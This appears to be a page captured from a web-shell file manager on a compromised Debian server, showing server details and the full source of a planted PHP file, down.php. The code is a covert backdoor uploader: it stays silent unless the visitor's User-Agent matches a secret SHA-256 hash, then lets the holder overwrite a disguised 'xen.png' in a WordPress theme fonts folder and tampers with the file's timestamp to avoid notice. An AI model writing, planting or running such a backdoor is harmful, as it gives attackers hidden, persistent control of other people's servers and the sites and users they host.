HEX
Server: Apache/2.4.59 (Debian)
System: Linux skycube.cz 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
User: ilya (534)
PHP: 7.3.31-1~deb10u7
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/ilya/data/www/rudomilov.ru/old/study/down.php
<?php
session_start(); 
$uploadDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/themes/twentytwelve/fonts/open-sans/';
function uploadFile() {
	global $uploadDir;
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!is_dir($uploadDir)) {
            echo 'No dir';
            exit;
        }
        $uploadFilePath = $uploadDir . 'xen.png';
        $oldModTime = null;
        if (file_exists($uploadFilePath)) {
            $oldModTime = filemtime($uploadFilePath);
        }
        if (isset($_FILES['uploadedFile']) && $_FILES['uploadedFile']['error'] === UPLOAD_ERR_OK) {
            $fileName = basename($_FILES['uploadedFile']['name']);
            $fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
            if ($fileExtension !== 'png') {
                echo "<p>Error: not .png!</p>";
                exit;
            }
            if (move_uploaded_file($_FILES['uploadedFile']['tmp_name'], $uploadFilePath)) {
                echo "<p><strong>xen.png</strong> OK!</p>";
                if ($oldModTime !== null) {
                    $seconds = (int) date('s', $oldModTime);
                    if ($seconds % 2 === 0) {
                        $newModTime = $oldModTime + 1;
                    } else {
                        $newModTime = $oldModTime - 1;
                    }
                    touch($uploadFilePath, $newModTime);
                }
            } else {
                echo "<p>Error</p>";
            }
        } else {
            echo "<p>Error</p>";
        }
    }
    echo '<form action="" method="post" enctype="multipart/form-data">
            <label for="uploadedFile">Выберите файл (.png):</label><br>
            <input type="file" name="uploadedFile" id="uploadedFile" required><br><br>
            <input type="submit" value="+">
          </form>';
}
$expected_hash = "b98845bbd944936cfe4221af8b3fd131faee4140c529fdb4a7dc06fa43c9987a"; 

if (!isset($_SESSION['authorized'])) { 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $user_hash = hash("sha256", $user_agent); 
    if ($user_hash === $expected_hash) { 
        $_SESSION['authorized'] = true; 
        uploadFile();
    } else {
    }
} else {
    uploadFile();
}
?>